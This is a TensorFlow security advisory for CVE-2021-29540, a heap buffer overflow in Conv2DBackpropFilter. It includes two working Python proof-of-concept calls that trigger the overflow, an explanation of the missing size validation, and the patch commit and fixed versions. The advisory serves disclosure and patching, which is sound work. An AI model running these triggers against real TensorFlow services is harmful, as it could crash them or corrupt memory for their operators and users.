## TFSA-2021-028: Heap buffer overflow in `Conv2DBackpropFilter`

### CVE Number
CVE-2021-29540

### Impact
An attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`:

```python
import tensorflow as tf

input_tensor = tf.constant([386.078431372549, 386.07843139643234],
                           shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
                           dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes,
  out_backprop=out_backprop,
  strides=[1, 66, 49, 1],
  use_cudnn_on_gpu=True,
  padding='VALID',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)
```

Alternatively, passing empty tensors also results in similar behavior:

```python
import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes,
  out_backprop=out_backprop,
  strides=[1, 66, 49, 1],
  use_cudnn_on_gpu=True,
  padding='VALID',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)
```

This is because the
[implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497)
computes the size of the filter tensor but does not validate that it matches the
number of elements in `filter_sizes`. Later, when reading/writing to this
buffer, code uses the value computed here, instead of the number of elements in
the tensor.

### Patches
We have patched the issue in GitHub commit
[c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
X-Team.
